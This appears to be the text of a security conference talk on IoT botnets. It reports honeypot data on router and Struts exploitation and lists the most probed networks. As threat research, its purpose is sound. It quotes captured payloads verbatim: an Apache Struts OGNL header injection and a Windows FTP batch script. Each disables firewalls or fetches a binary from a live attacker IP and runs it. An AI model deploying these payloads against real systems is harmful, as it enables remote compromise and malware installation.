
"The supreme art of war is to subdue the enemy
without �ghting" 

-- Sun Tzu
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/whoami
Large scale DDoS attacks
... their economy
break things
... put them back together
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The Great Worm





Nowadays
... is there a di�erence?



Credits: https://twitter.com/AgentSoft















The problem



The ugly
User: 666666 / Pass: 666666





The bad
Their approach
Attackers are pragmatic
Will go for easier wins, whenever possible



The bad
170M IoT devices in major US cities



The bad





The bad



The good
Our approach

RDS & RCS, RO- AS8708
Telekom, RO - AS9050
Itelecom, RO - AS50244
UPC, RO - AS6830
BSKYB-BROADBAND-AS, GB - AS5607



Honeypot Unique IPs: 327
Honeypot Total hits: 14M



Our hits
Bruteforce attacks - passwords (2011)
/rom-0 (2015)
Shellshock (2015)
Apache Strut attack (2017)
D-Link DIR8xx vulnerability (2017)



Attacks behaviour
RomPager exploit => change the DNS servers
Shellshock => execute commands
Apache Strut exploit => execute commands
D-Link DIR8xx vuln => 0wn the device



RomPager exploit

























Apache Struts
Cisco, 8th of March
First honeypot hits: 9th of March
Total hits in March: 10k



==> "Content-Type" header <== 

"%{(#nike='multipart/form-data').(#dm=@ognl.OgnlContext@DEFAULT_MEMBER_ACCESS).
(#_memberAccess?(#_memberAccess=#dm):((#container=#context['com.opensymphony.xwork2.ActionContext.container']).
(#ognlUtil=#container.getInstance(@com.opensymphony.xwork2.ognl.OgnlUtil@class)).
(#ognlUtil.getExcludedPackageNames().clear()).(#ognlUtil.getExcludedClasses().clear()).
(#context.setMemberAccess(#dm)))). 
(#cmd='/etc/init.d/iptables stop;service iptables stop;SuSEfirewall2 stop;reSuSEfirewall2 stop;cd /tmp;wget -c http://180.100.235.26:9/6;chmod 777 6;./6;').
(#iswin=(@java.lang.System@getProperty('os.name').toLowerCase().contains('win'))).
(#cmds=(#iswin?{'cmd.exe','/c',#cmd}:{'/bin/bash','-c',#cmd})). 
(#p=new java.lang.ProcessBuilder(#cmds)).(#p.redirectErrorStream(true)).(
(#ros=(@org.apache.struts2.ServletActionContext@getResponse().getOutputStream())).
(@org.apache.commons.io.IOUtils@copy(#process.getInputStream(),#ros



(#cmd=' 
 /etc/init.d/iptables stop; 
 service iptables stop; 
 SuSEfirewall2 stop; 
 reSuSEfirewall2 stop; 
 cd /tmp; 
 wget -c http://180.100.235.26:9/6; 
 chmod 777 6; 
 ./6; 
'). 
(#iswin=(@java.lang.System@getProperty('os.name'). 
  toLowerCase(). 
  contains('win'))). 
(#cmds=(#iswin?{'cmd.exe','/c',#cmd}:{'/bin/bash','-c',#cmd})). 
[...]











Fancy some FTP commands?
cmd.exe /c echo Open 180.100.235.26 21>C:\\Ftp.txt
echo qwqw881688>>C:\\Ftp.txt 
echo qwqw881688>>C:\\Ftp.txt 
echo Binary>>C:\\Ftp.txt 
echo Get Microsof.exe C:\\setup.exe>>C:\\Ftp.txt 
echo Bye>>C:\\Ftp.txt 
echo Ftp.exe -s:C:\\Ftp.txt>C:\\Ftp.bat 
echo C:\\setup.exe>>C:\\Ftp.bat 
echo del C:\\Ftp.txt>>C:\\Ftp.bat 
echo del C:\\Ftp.bat>>C:\\Ftp.bat 
C:\\Ftp.bat 



Targets



Most probed networks
IPs ASN Name
926832 KIXS-AS-KR Korea Telecom, KR
399831 CNNIC-ALIBABA-CN-NET-AP Hangzhou Alibaba Advertising Co.,Ltd., CN
344204 CHINANET-BACKBONE No.31,Jin-rong Street, CN
333688 CHINA169-BACKBONE CNCGROUP China169 Backbone, CN
182626 HINET Data Communication Business Group, TW
122263 BSNL-NIB National Internet Backbone, IN
119692 CHINA169-BJ China Unicom Beijing Province Network, CN
101609 CNIX-AP China Networks Inter-Exchange, CN
82500 VNPT-AS-VN VNPT Corp, VN
72328 CMNET-GD Guangdong Mobile Communication Co.Ltd., CN
64798 CNNIC-TENCENT-NET-AP Shenzhen Tencent Computer Systems Company Limited, CN
64297 ERX-CERNET-BKB China Education and Research Network Center, CN
55593 CTTNET China TieTong Telecommunications Corporation, CN
48369 SKB-AS SK Broadband Co Ltd, KR
47168 OCN NTT Communications Corporation, JP



Most probed countries
1929614 CN
1092938 KR
362662 US
340174 JP
279148 TW
251536 IN
164631 AU
152775 HK
144635 VN
103334 DE
72973 GB
64254 ID



What about now?



The curious case of D-Link
routers

12th of Sept 2017, Embedi

Unauthenticated retrieval of con�gs

Hits in honeypots: 20th of September



Congratz, D-Link



The misterious case of one IRC
botnet













Hunting for hunters

 

Elastic Search + Kibana



Hunting for hunters
Interactive honeypots

Python
GoLang

Tailored responses



Hunting for hunters
Where your leaked passwords end up: Pastebin ™

GReAT KLara



GReAT KLara



Conclusions
IPv6

New exploits in the wild

Hey, this is interesting! => Let's get in touch



Dan Demeter
@_xdanx

Global Research and Analysis Team


